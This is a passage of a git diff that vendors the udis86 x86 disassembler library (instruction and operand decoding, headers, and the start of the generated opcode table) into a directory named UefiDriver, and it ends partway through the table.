----------------------------------------------------------------------------- + * decode_operands() - Disassembles Operands. + * ----------------------------------------------------------------------------- + */ +static int +decode_operand( struct ud *u, + struct ud_operand *operand, + enum ud_operand_code type, + unsigned int size ) +{ + operand->_oprcode = type; + + switch (type) + { + case OP_A: + decode_a( u, operand ); + break; + case OP_MR: + decode_modrm_rm( u, operand, REGCLASS_GPR, + MODRM_MOD( modrm( u ) ) == 3 ? + Mx_reg_size( size ) : Mx_mem_size( size ) ); + break; + case OP_F: + u->br_far = 1; + /* intended fall through */ + case OP_M: + if (MODRM_MOD( modrm( u ) ) == 3) + { + UDERR( u, "expected modrm.mod != 3\n" ); + } + /* intended fall through */ + case OP_E: + decode_modrm_rm( u, operand, REGCLASS_GPR, size ); + break; + case OP_G: + decode_modrm_reg( u, operand, REGCLASS_GPR, size ); + break; + case OP_sI: + case OP_I: + decode_imm( u, size, operand ); + break; + case OP_I1: + operand->type = UD_OP_CONST; + operand->lval.udword = 1; + break; + case OP_N: + if (MODRM_MOD( modrm( u ) ) != 3) + { + UDERR( u, "expected modrm.mod == 3\n" ); + } + /* intended fall through */ + case OP_Q: + decode_modrm_rm( u, operand, REGCLASS_MMX, size ); + break; + case OP_P: + decode_modrm_reg( u, operand, REGCLASS_MMX, size ); + break; + case OP_U: + if (MODRM_MOD( modrm( u ) ) != 3) + { + UDERR( u, "expected modrm.mod == 3\n" ); + } + /* intended fall through */ + case OP_W: + decode_modrm_rm( u, operand, REGCLASS_XMM, size ); + break; + case OP_V: + decode_modrm_reg( u, operand, REGCLASS_XMM, size ); + break; + case OP_MU: + decode_modrm_rm( u, operand, REGCLASS_XMM, + MODRM_MOD( modrm( u ) ) == 3 ? + Mx_reg_size( size ) : Mx_mem_size( size ) ); + break; + case OP_S: + decode_modrm_reg( u, operand, REGCLASS_SEG, size ); + break; + case OP_O: + decode_moffset( u, size, operand ); + break; + case OP_R0: + case OP_R1: + case OP_R2: + case OP_R3: + case OP_R4: + case OP_R5: + case OP_R6: + case OP_R7: + decode_reg( u, operand, REGCLASS_GPR, + (REX_B( u->pfx_rex ) << 3) | (type - OP_R0), size ); + break; + case OP_AL: + case OP_AX: + case OP_eAX: + case OP_rAX: + decode_reg( u, operand, REGCLASS_GPR, 0, size ); + break; + case OP_CL: + case OP_CX: + case OP_eCX: + decode_reg( u, operand, REGCLASS_GPR, 1, size ); + break; + case OP_DL: + case OP_DX: + case OP_eDX: + decode_reg( u, operand, REGCLASS_GPR, 2, size ); + break; + case OP_ES: + case OP_CS: + case OP_DS: + case OP_SS: + case OP_FS: + case OP_GS: + /* in 64bits mode, only fs and gs are allowed */ + if (u->dis_mode == 64) + { + if (type != OP_FS && type != OP_GS) + { + UDERR( u, "invalid segment register in 64bits\n" ); + } + } + operand->type = UD_OP_REG; + operand->base = (type - OP_ES) + UD_R_ES; + operand->size = 16; + break; + case OP_J: + decode_imm( u, size, operand ); + operand->type = UD_OP_JIMM; + break; + case OP_R: + if (MODRM_MOD( modrm( u ) ) != 3) + { + UDERR( u, "expected modrm.mod == 3\n" ); + } + decode_modrm_rm( u, operand, REGCLASS_GPR, size ); + break; + case OP_C: + decode_modrm_reg( u, operand, REGCLASS_CR, size ); + break; + case OP_D: + decode_modrm_reg( u, operand, REGCLASS_DB, size ); + break; + case OP_I3: + operand->type = UD_OP_CONST; + operand->lval.sbyte = 3; + break; + case OP_ST0: + case OP_ST1: + case OP_ST2: + case OP_ST3: + case OP_ST4: + case OP_ST5: + case OP_ST6: + case OP_ST7: + operand->type = UD_OP_REG; + operand->base = (type - OP_ST0) + UD_R_ST0; + operand->size = 80; + break; + default: + break; + } + return 0; +} + + +/* + * decode_operands + * + * Disassemble upto 3 operands of the current instruction being + * disassembled. By the end of the function, the operand fields + * of the ud structure will have been filled. + */ +static int +decode_operands( struct ud* u ) +{ + decode_operand( u, &u->operand[0], + u->itab_entry->operand1.type, + u->itab_entry->operand1.size ); + decode_operand( u, &u->operand[1], + u->itab_entry->operand2.type, + u->itab_entry->operand2.size ); + decode_operand( u, &u->operand[2], + u->itab_entry->operand3.type, + u->itab_entry->operand3.size ); + return 0; +} + +/* ----------------------------------------------------------------------------- + * clear_insn() - clear instruction structure + * ----------------------------------------------------------------------------- + */ +static void +clear_insn( register struct ud* u ) +{ + u->error = 0; + u->pfx_seg = 0; + u->pfx_opr = 0; + u->pfx_adr = 0; + u->pfx_lock = 0; + u->pfx_repne = 0; + u->pfx_rep = 0; + u->pfx_repe = 0; + u->pfx_rex = 0; + u->pfx_str = 0; + u->mnemonic = UD_Inone; + u->itab_entry = NULL; + u->have_modrm = 0; + u->br_far = 0; + + memset( &u->operand[0], 0, sizeof( struct ud_operand ) ); + memset( &u->operand[1], 0, sizeof( struct ud_operand ) ); + memset( &u->operand[2], 0, sizeof( struct ud_operand ) ); +} + + +static inline int +resolve_pfx_str( struct ud* u ) +{ + if (u->pfx_str == 0xf3) + { + if (P_STR( u->itab_entry->prefix )) + { + u->pfx_rep = 0xf3; + } + else + { + u->pfx_repe = 0xf3; + } + } + else if (u->pfx_str == 0xf2) + { + u->pfx_repne = 0xf3; + } + return 0; +} + + +static int +resolve_mode( struct ud* u ) +{ + int default64; + /* if in error state, bail out */ + if (u->error) return -1; + + /* propagate prefix effects */ + if (u->dis_mode == 64) + { /* set 64bit-mode flags */ + +/* Check validity of instruction m64 */ + if (P_INV64( u->itab_entry->prefix )) + { + UDERR( u, "instruction invalid in 64bits\n" ); + return -1; + } + + /* effective rex prefix is the effective mask for the + * instruction hard-coded in the opcode map. + */ + u->pfx_rex = (u->pfx_rex & 0x40) | + (u->pfx_rex & REX_PFX_MASK( u->itab_entry->prefix )); + +/* whether this instruction has a default operand size of + * 64bit, also hardcoded into the opcode map. + */ + default64 = P_DEF64( u->itab_entry->prefix ); + /* calculate effective operand size */ + if (REX_W( u->pfx_rex )) + { + u->opr_mode = 64; + } + else if (u->pfx_opr) + { + u->opr_mode = 16; + } + else + { + /* unless the default opr size of instruction is 64, + * the effective operand size in the absence of rex.w + * prefix is 32. + */ + u->opr_mode = default64 ? 64 : 32; + } + + /* calculate effective address size */ + u->adr_mode = (u->pfx_adr) ? 32 : 64; + } + else if (u->dis_mode == 32) + { /* set 32bit-mode flags */ + u->opr_mode = (u->pfx_opr) ? 16 : 32; + u->adr_mode = (u->pfx_adr) ? 16 : 32; + } + else if (u->dis_mode == 16) + { /* set 16bit-mode flags */ + u->opr_mode = (u->pfx_opr) ? 32 : 16; + u->adr_mode = (u->pfx_adr) ? 32 : 16; + } + + return 0; +} + + +static inline int +decode_insn( struct ud *u, uint16_t ptr ) +{ + UD_ASSERT( (ptr & 0x8000) == 0 ); + u->itab_entry = &ud_itab[ptr]; + u->mnemonic = u->itab_entry->mnemonic; + return (resolve_pfx_str( u ) == 0 && + resolve_mode( u ) == 0 && + decode_operands( u ) == 0 && + resolve_mnemonic( u ) == 0) ? 0 : -1; +} + + +/* + * decode_3dnow() + * + * Decoding 3dnow is a little tricky because of its strange opcode + * structure. The final opcode disambiguation depends on the last + * byte that comes after the operands have been decoded. Fortunately, + * all 3dnow instructions have the same set of operand types. So we + * go ahead and decode the instruction by picking an arbitrarily chosen + * valid entry in the table, decode the operands, and read the final + * byte to resolve the menmonic. + */ +static inline int +decode_3dnow( struct ud* u ) +{ + uint16_t ptr; + UD_ASSERT( u->le->type == UD_TAB__OPC_3DNOW ); + UD_ASSERT( u->le->table[0xc] != 0 ); + decode_insn( u, u->le->table[0xc] ); + inp_next( u ); + if (u->error) + { + return -1; + } + ptr = u->le->table[inp_curr( u )]; + UD_ASSERT( (ptr & 0x8000) == 0 ); + u->mnemonic = ud_itab[ptr].mnemonic; + return 0; +} + + +static int +decode_ssepfx( struct ud *u ) +{ + uint8_t idx; + uint8_t pfx; + + /* + * String prefixes (f2, f3) take precedence over operand + * size prefix (66). + */ + pfx = u->pfx_str; + if (pfx == 0) + { + pfx = u->pfx_opr; + } + idx = ((pfx & 0xf) + 1) / 2; + if (u->le->table[idx] == 0) + { + idx = 0; + } + if (idx && u->le->table[idx] != 0) + { +/* + * "Consume" the prefix as a part of the opcode, so it is no + * longer exported as an instruction prefix. + */ + u->pfx_str = 0; + if (pfx == 0x66) + { +/* + * consume "66" only if it was used for decoding, leaving + * it to be used as an operands size override for some + * simd instructions. + */ + u->pfx_opr = 0; + } + } + return decode_ext( u, u->le->table[idx] ); +} + + +/* + * decode_ext() + * + * Decode opcode extensions (if any) + */ +static int +decode_ext( struct ud *u, uint16_t ptr ) +{ + uint8_t idx = 0; + if ((ptr & 0x8000) == 0) + { + return decode_insn( u, ptr ); + } + u->le = &ud_lookup_table_list[(~0x8000 & ptr)]; + if (u->le->type == UD_TAB__OPC_3DNOW) + { + return decode_3dnow( u ); + } + + switch (u->le->type) + { + case UD_TAB__OPC_MOD: + /* !11 = 0, 11 = 1 */ + idx = (MODRM_MOD( modrm( u ) ) + 1) / 4; + break; + /* disassembly mode/operand size/address size based tables. + * 16 = 0,, 32 = 1, 64 = 2 + */ + case UD_TAB__OPC_MODE: + idx = u->dis_mode != 64 ? 0 : 1; + break; + case UD_TAB__OPC_OSIZE: + idx = (uint8_t)eff_opr_mode( u->dis_mode, REX_W( u->pfx_rex ), u->pfx_opr ) / 32; + break; + case UD_TAB__OPC_ASIZE: + idx = (uint8_t)eff_adr_mode( u->dis_mode, u->pfx_adr ) / 32; + break; + case UD_TAB__OPC_X87: + idx = (uint8_t)(modrm( u ) - 0xC0); + break; + case UD_TAB__OPC_VENDOR: + if (u->vendor == UD_VENDOR_ANY) + { +/* choose a valid entry */ + idx = (u->le->table[idx] != 0) ? 0 : 1; + } + else if (u->vendor == UD_VENDOR_AMD) + { + idx = 0; + } + else + { + idx = 1; + } + break; + case UD_TAB__OPC_RM: + idx = MODRM_RM( modrm( u ) ); + break; + case UD_TAB__OPC_REG: + idx = MODRM_REG( modrm( u ) ); + break; + case UD_TAB__OPC_SSE: + return decode_ssepfx( u ); + default: + UD_ASSERT( !"not reached" ); + break; + } + + return decode_ext( u, u->le->table[idx] ); +} + + +static int +decode_opcode( struct ud *u ) +{ + uint16_t ptr; + UD_ASSERT( u->le->type == UD_TAB__OPC_TABLE ); + UD_RETURN_ON_ERROR( u ); + u->primary_opcode = inp_curr( u ); + ptr = u->le->table[inp_curr( u )]; + if (ptr & 0x8000) + { + u->le = &ud_lookup_table_list[ptr & ~0x8000]; + if (u->le->type == UD_TAB__OPC_TABLE) + { + inp_next( u ); + return decode_opcode( u ); + } + } + return decode_ext( u, ptr ); +} + + +/* ============================================================================= + * ud_decode() - Instruction decoder. Returns the number of bytes decoded. + * ============================================================================= + */ +unsigned int +ud_decode( struct ud *u ) +{ + inp_start( u ); + clear_insn( u ); + u->le = &ud_lookup_table_list[0]; + u->error = decode_prefixes( u ) == -1 || + decode_opcode( u ) == -1 || + u->error; +/* Handle decode error. */ + if (u->error) + { +/* clear out the decode data. */ + clear_insn( u ); + /* mark the sequence of bytes as invalid. */ + u->itab_entry = &ud_itab[0]; /* entry 0 is invalid */ + u->mnemonic = u->itab_entry->mnemonic; + } + + /* maybe this stray segment override byte + * should be spewed out? + */ + if (!P_SEG( u->itab_entry->prefix ) && + u->operand[0].type != UD_OP_MEM && + u->operand[1].type != UD_OP_MEM) + u->pfx_seg = 0; + + u->insn_offset = u->pc; /* set offset of instruction */ + u->asm_buf_fill = 0; /* set translation buffer index to 0 */ + u->pc += u->inp_ctr; /* move program counter by bytes decoded */ + + /* return number of bytes disassembled. */ + return (unsigned int)u->inp_ctr; +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/UefiDriver/udis86/libudis86/decode.h b/UefiDriver/udis86/libudis86/decode.h new file mode 100644 index 0000000..a7362c8 --- /dev/null +++ b/UefiDriver/udis86/libudis86/decode.h @@ -0,0 +1,195 @@ +/* udis86 - libudis86/decode.h + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_DECODE_H +#define UD_DECODE_H + +#include "types.h" +#include "itab.h" + +#define MAX_INSN_LENGTH 15 + +/* itab prefix bits */ +#define P_none ( 0 ) +#define P_cast ( 1 << 0 ) +#define P_CAST(n) ( ( n >> 0 ) & 1 ) +#define P_rexb ( 1 << 1 ) +#define P_REXB(n) ( ( n >> 1 ) & 1 ) +#define P_inv64 ( 1 << 4 ) +#define P_INV64(n) ( ( n >> 4 ) & 1 ) +#define P_rexw ( 1 << 5 ) +#define P_REXW(n) ( ( n >> 5 ) & 1 ) +#define P_def64 ( 1 << 7 ) +#define P_DEF64(n) ( ( n >> 7 ) & 1 ) +#define P_rexr ( 1 << 8 ) +#define P_REXR(n) ( ( n >> 8 ) & 1 ) +#define P_oso ( 1 << 9 ) +#define P_OSO(n) ( ( n >> 9 ) & 1 ) +#define P_aso ( 1 << 10 ) +#define P_ASO(n) ( ( n >> 10 ) & 1 ) +#define P_rexx ( 1 << 11 ) +#define P_REXX(n) ( ( n >> 11 ) & 1 ) +#define P_ImpAddr ( 1 << 12 ) +#define P_IMPADDR(n) ( ( n >> 12 ) & 1 ) +#define P_seg ( 1 << 13 ) +#define P_SEG(n) ( ( n >> 13 ) & 1 ) +#define P_str ( 1 << 14 ) +#define P_STR(n) ( ( n >> 14 ) & 1 ) +#define P_strz ( 1 << 15 ) +#define P_STR_ZF(n) ( ( n >> 15 ) & 1 ) + +/* operand type constants -- order is important! */ + +enum ud_operand_code { + OP_NONE, + + OP_A, OP_E, OP_M, OP_G, + OP_I, OP_F, + + OP_R0, OP_R1, OP_R2, OP_R3, + OP_R4, OP_R5, OP_R6, OP_R7, + + OP_AL, OP_CL, OP_DL, + OP_AX, OP_CX, OP_DX, + OP_eAX, OP_eCX, OP_eDX, + OP_rAX, OP_rCX, OP_rDX, + + OP_ES, OP_CS, OP_SS, OP_DS, + OP_FS, OP_GS, + + OP_ST0, OP_ST1, OP_ST2, OP_ST3, + OP_ST4, OP_ST5, OP_ST6, OP_ST7, + + OP_J, OP_S, OP_O, + OP_I1, OP_I3, OP_sI, + + OP_V, OP_W, OP_Q, OP_P, + OP_U, OP_N, OP_MU, + + OP_R, OP_C, OP_D, + + OP_MR +} UD_ATTR_PACKED; + + +/* operand size constants */ + +enum ud_operand_size { + SZ_NA = 0, + SZ_Z = 1, + SZ_V = 2, + SZ_RDQ = 7, + + /* the following values are used as is, + * and thus hard-coded. changing them + * will break internals + */ + SZ_B = 8, + SZ_W = 16, + SZ_D = 32, + SZ_Q = 64, + SZ_T = 80, + SZ_O = 128, + + SZ_Y = 17, + + /* + * complex size types, that encode sizes for operands + * of type MR (memory or register), for internal use + * only. Id space 256 and above. + */ + SZ_BD = (SZ_B << 8) | SZ_D, + SZ_BV = (SZ_B << 8) | SZ_V, + SZ_WD = (SZ_W << 8) | SZ_D, + SZ_WV = (SZ_W << 8) | SZ_V, + SZ_WY = (SZ_W << 8) | SZ_Y, + SZ_DY = (SZ_D << 8) | SZ_Y, + SZ_WO = (SZ_W << 8) | SZ_O, + SZ_DO = (SZ_D << 8) | SZ_O, + SZ_QO = (SZ_Q << 8) | SZ_O, + +} UD_ATTR_PACKED; + + +/* resolve complex size type. + */ +static inline enum ud_operand_size +Mx_mem_size(enum ud_operand_size size) +{ + return (size >> 8) & 0xff; +} + +static inline enum ud_operand_size +Mx_reg_size(enum ud_operand_size size) +{ + return size & 0xff; +} + +/* A single operand of an entry in the instruction table. + * (internal use only) + */ +struct ud_itab_entry_operand +{ + enum ud_operand_code type; + enum ud_operand_size size; +}; + + +/* A single entry in an instruction table. + *(internal use only) + */ +struct ud_itab_entry +{ + enum ud_mnemonic_code mnemonic; + struct ud_itab_entry_operand operand1; + struct ud_itab_entry_operand operand2; + struct ud_itab_entry_operand operand3; + uint32_t prefix; +}; + +struct ud_lookup_table_list_entry { + const uint16_t *table; + enum ud_table_type type; + const char *meta; +}; + + + +static inline int +ud_opcode_field_sext(uint8_t primary_opcode) +{ + return (primary_opcode & 0x02) != 0; +} + +extern struct ud_itab_entry ud_itab[]; +extern struct ud_lookup_table_list_entry ud_lookup_table_list[]; + +#endif /* UD_DECODE_H */ + +/* vim:cindent + * vim:expandtab + * vim:ts=4 + * vim:sw=4 + */ diff --git a/UefiDriver/udis86/libudis86/extern.h b/UefiDriver/udis86/libudis86/extern.h new file mode 100644 index 0000000..ae9f82f --- /dev/null +++ b/UefiDriver/udis86/libudis86/extern.h @@ -0,0 +1,105 @@ +/* udis86 - libudis86/extern.h + * + * Copyright (c) 2002-2009, 2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_EXTERN_H +#define UD_EXTERN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "types.h" + +/* ============================= PUBLIC API ================================= */ + +extern void ud_init(struct ud*); + +extern void ud_set_mode(struct ud*, uint8_t); + +extern void ud_set_pc(struct ud*, uint64_t); + +extern void ud_set_input_hook(struct ud*, int (*)(struct ud*)); + +extern void ud_set_input_buffer(struct ud*, const uint8_t*, size_t); + +#ifndef __UD_STANDALONE__ +extern void ud_set_input_file(struct ud*, FILE*); +#endif /* __UD_STANDALONE__ */ + +extern void ud_set_vendor(struct ud*, unsigned); + +extern void ud_set_syntax(struct ud*, void (*)(struct ud*)); + +extern void ud_input_skip(struct ud*, size_t); + +extern int ud_input_end(const struct ud*); + +extern unsigned int ud_decode(struct ud*); + +extern unsigned int ud_disassemble(struct ud*); + +extern void ud_translate_intel(struct ud*); + +extern void ud_translate_att(struct ud*); + +extern const char* ud_insn_asm(const struct ud* u); + +extern const uint8_t* ud_insn_ptr(const struct ud* u); + +extern uint64_t ud_insn_off(const struct ud*); + +extern const char* ud_insn_hex(struct ud*); + +extern unsigned int ud_insn_len(const struct ud* u); + +extern const struct ud_operand* ud_insn_opr(const struct ud *u, unsigned int n); + +extern int ud_opr_is_sreg(const struct ud_operand *opr); + +extern int ud_opr_is_gpr(const struct ud_operand *opr); + +extern enum ud_mnemonic_code ud_insn_mnemonic(const struct ud *u); + +extern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c); + +extern void ud_set_user_opaque_data(struct ud*, void*); + +extern void* ud_get_user_opaque_data(const struct ud*); + +extern uint64_t ud_insn_sext_imm(const struct ud*, const struct ud_operand*); + +extern void ud_set_asm_buffer(struct ud *u, char *buf, size_t size); + +extern void ud_set_sym_resolver(struct ud *u, + const char* (*resolver)(struct ud*, + uint64_t addr, + int64_t *offset)); + +/* ========================================================================== */ + +#ifdef __cplusplus +} +#endif +#endif /* UD_EXTERN_H */ diff --git a/UefiDriver/udis86/libudis86/itab.c b/UefiDriver/udis86/libudis86/itab.c new file mode 100644 index 0000000..a3d0634 --- /dev/null +++ b/UefiDriver/udis86/libudis86/itab.c @@ -0,0 +1,8401 @@ +/* itab.c -- generated by udis86:scripts/ud_itab.py, do no edit */ +#include "decode.h" + +#define GROUP(n) (0x8000 | (n)) + + +static const uint16_t ud_itab__1[] = { + /* 0 */ 7, 0, +}; + +static const uint16_t ud_itab__2[] = { + /* 0 */ 8, 0, +}; + +static const uint16_t ud_itab__3[] = { + /* 0 */ 15, 0, +}; + +static const uint16_t ud_itab__6[] = { + /* 0 */ 16, 0, 0, 0, +}; + +static const uint16_t ud_itab__7[] = { + /* 0 */ 17, 0, 0, 0, +}; + +static const uint16_t ud_itab__8[] = { + /* 0 */ 18, 0, 0, 0, +}; + +static const uint16_t ud_itab__9[] = { + /* 0 */ 19, 0, 0, 0, +}; + +static const uint16_t ud_itab__10[] = { + /* 0 */ 20, 0, 0, 0, +}; + +static const uint16_t ud_itab__11[] = { + /* 0 */ 21, 0, 0, 0, +}; + +static const uint16_t ud_itab__5[] = { + /* 0 */ GROUP(6), GROUP(7), GROUP(8), GROUP(9), + /* 4 */ GROUP(10), GROUP(11), 0, 0, +}; + +static const uint16_t ud_itab__15[] = { + /* 0 */ 22, 0, +}; + +static const uint16_t ud_itab__14[] = { + /* 0 */ GROUP(15), 0, 0, 0, +}; + +static const uint16_t ud_itab__17[] = { + /* 0 */ 23, 0, +}; + +static const uint16_t ud_itab__16[] = { + /* 0 */ GROUP(17), 0, 0, 0, +}; + +static const uint16_t ud_itab__19[] = { + /* 0 */ 24, 0, +}; + +static const uint16_t ud_itab__18[] = { + /* 0 */ GROUP(19), 0, 0, 0, +}; + +static const uint16_t ud_itab__21[] = { + /* 0 */ 25, 0, +}; + +static const uint16_t ud_itab__20[] = { + /* 0 */ GROUP(21), 0, 0, 0, +}; + +static const uint16_t ud_itab__23[] = { + /* 0 */ 26, 0, +}; + +static const uint16_t ud_itab__22[] = { + /* 0 */ GROUP(23), 0, 0, 0, +}; + +static const uint16_t ud_itab__25[] = { + /* 0 */ 27, 0, +}; + +static const uint16_t ud_itab__24[] = { + /* 0 */ GROUP(25), 0, 0, 0, +}; + +static const uint16_t ud_itab__27[] = { + /* 0 */ 28, 0, +}; + +static const uint16_t ud_itab__26[] = { + /* 0 */ GROUP(27), 0, 0, 0, +}; + +static const uint16_t ud_itab__13[] = { + /* 0 */ GROUP(14), GROUP(16), GROUP(18), GROUP(20), + /* 4 */ GROUP(22), 0, GROUP(24), GROUP(26), +}; + +static const uint16_t ud_itab__32[] = { + /* 0 */ 0, 29, 0, +}; + +static const uint16_t ud_itab__31[] = { + /* 0 */ 0, GROUP(32), +}; + +static const uint16_t ud_itab__30[] = { + /* 0 */ GROUP(31), 0, 0, 0, +}; + +static const uint16_t ud_itab__35[] = { + /* 0 */ 0, 30, 0, +}; + +static const uint16_t ud_itab__34[] = { + /* 0 */ 0, GROUP(35), +}; + +static const uint16_t ud_itab__33[] = { + /* 0 */ GROUP(34), 0, 0, 0, +}; + +static const uint16_t ud_itab__38[] = { + /* 0 */ 0, 31, 0, +}; + +static const uint16_t ud_itab__37[] = { + /* 0 */ 0, GROUP(38), +}; + +static const uint16_t ud_itab__36[] = { + /* 0 */ GROUP(37), 0, 0, 0, +}; + +static const uint16_t ud_itab__41[] = { + /* 0 */ 0, 32, 0, +}; + +static const uint16_t ud_itab__40[] = { + /* 0 */ 0, GROUP(41), +}; + +static const uint16_t ud_itab__39[] = { + /* 0 */ GROUP(40), 0, 0, 0, +}; + +static const uint16_t ud_itab__29[] = { + /* 0 */ 0, GROUP(30), GROUP(33), GROUP(36), + /* 4 */ GROUP(39), 0, 0, 0, +}; + +static const uint16_t ud_itab__44[] = { + /* 0 */ 0, 33, +}; + +static const uint16_t ud_itab__43[] = { + /* 0 */ GROUP(44), 0, 0, 0, +}; + +static const uint16_t ud_itab__46[] = { + /* 0 */ 0, 34, +}; + +static const uint16_t ud_itab__45[] = { + /* 0 */ GROUP(46), 0, 0, 0, +}; + +static const uint16_t ud_itab__42[] = { + /* 0 */ GROUP(43), GROUP(45), 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__49[] = { + /* 0 */ 0, 35, +}; + +static const uint16_t ud_itab__48[] = { + /* 0 */ GROUP(49), 0, 0, 0, +}; + +static const uint16_t ud_itab__51[] = { + /* 0 */ 0, 36, +}; + +static const uint16_t ud_itab__50[] = { + /* 0 */ GROUP(51), 0, 0, 0, +}; + +static const uint16_t ud_itab__47[] = { + /* 0 */ GROUP(48), GROUP(50), 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__55[] = { + /* 0 */ 37, 0, 0, +}; + +static const uint16_t ud_itab__54[] = { + /* 0 */ 0, GROUP(55), +}; + +static const uint16_t ud_itab__53[] = { + /* 0 */ GROUP(54), 0, 0, 0, +}; + +static const uint16_t ud_itab__58[] = { + /* 0 */ 38, 0, 0, +}; + +static const uint16_t ud_itab__57[] = { + /* 0 */ 0, GROUP(58), +}; + +static const uint16_t ud_itab__56[] = { + /* 0 */ GROUP(57), 0, 0, 0, +}; + +static const uint16_t ud_itab__61[] = { + /* 0 */ 39, 0, 0, +}; + +static const uint16_t ud_itab__60[] = { + /* 0 */ 0, GROUP(61), +}; + +static const uint16_t ud_itab__59[] = { + /* 0 */ GROUP(60), 0, 0, 0, +}; + +static const uint16_t ud_itab__64[] = { + /* 0 */ 40, 0, 0, +}; + +static const uint16_t ud_itab__63[] = { + /* 0 */ 0, GROUP(64), +}; + +static const uint16_t ud_itab__62[] = { + /* 0 */ GROUP(63), 0, 0, 0, +}; + +static const uint16_t ud_itab__67[] = { + /* 0 */ 41, 0, 0, +}; + +static const uint16_t ud_itab__66[] = { + /* 0 */ 0, GROUP(67), +}; + +static const uint16_t ud_itab__65[] = { + /* 0 */ GROUP(66), 0, 0, 0, +}; + +static const uint16_t ud_itab__70[] = { + /* 0 */ 42, 0, 0, +}; + +static const uint16_t ud_itab__69[] = { + /* 0 */ 0, GROUP(70), +}; + +static const uint16_t ud_itab__68[] = { + /* 0 */ GROUP(69), 0, 0, 0, +}; + +static const uint16_t ud_itab__73[] = { + /* 0 */ 43, 0, 0, +}; + +static const uint16_t ud_itab__72[] = { + /* 0 */ 0, GROUP(73), +}; + +static const uint16_t ud_itab__71[] = { + /* 0 */ GROUP(72), 0, 0, 0, +}; + +static const uint16_t ud_itab__76[] = { + /* 0 */ 44, 0, 0, +}; + +static const uint16_t ud_itab__75[] = { + /* 0 */ 0, GROUP(76), +}; + +static const uint16_t ud_itab__74[] = { + /* 0 */ GROUP(75), 0, 0, 0, +}; + +static const uint16_t ud_itab__52[] = { + /* 0 */ GROUP(53), GROUP(56), GROUP(59), GROUP(62), + /* 4 */ GROUP(65), GROUP(68), GROUP(71), GROUP(74), +}; + +static const uint16_t ud_itab__78[] = { + /* 0 */ 0, 45, +}; + +static const uint16_t ud_itab__77[] = { + /* 0 */ GROUP(78), 0, 0, 0, +}; + +static const uint16_t ud_itab__80[] = { + /* 0 */ 0, 46, +}; + +static const uint16_t ud_itab__79[] = { + /* 0 */ GROUP(80), 0, 0, 0, +}; + +static const uint16_t ud_itab__83[] = { + /* 0 */ 0, 47, +}; + +static const uint16_t ud_itab__82[] = { + /* 0 */ GROUP(83), 0, 0, 0, +}; + +static const uint16_t ud_itab__86[] = { + /* 0 */ 48, 0, 0, +}; + +static const uint16_t ud_itab__85[] = { + /* 0 */ 0, GROUP(86), +}; + +static const uint16_t ud_itab__84[] = { + /* 0 */ GROUP(85), 0, 0, 0, +}; + +static const uint16_t ud_itab__81[] = { + /* 0 */ GROUP(82), GROUP(84), 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__28[] = { + /* 0 */ GROUP(29), GROUP(42), GROUP(47), GROUP(52), + /* 4 */ GROUP(77), 0, GROUP(79), GROUP(81), +}; + +static const uint16_t ud_itab__12[] = { + /* 0 */ GROUP(13), GROUP(28), +}; + +static const uint16_t ud_itab__87[] = { + /* 0 */ 49, 0, 0, 0, +}; + +static const uint16_t ud_itab__88[] = { + /* 0 */ 50, 0, 0, 0, +}; + +static const uint16_t ud_itab__89[] = { + /* 0 */ 51, 0, 0, 0, +}; + +static const uint16_t ud_itab__90[] = { + /* 0 */ 52, 0, 0, 0, +}; + +static const uint16_t ud_itab__91[] = { + /* 0 */ 53, 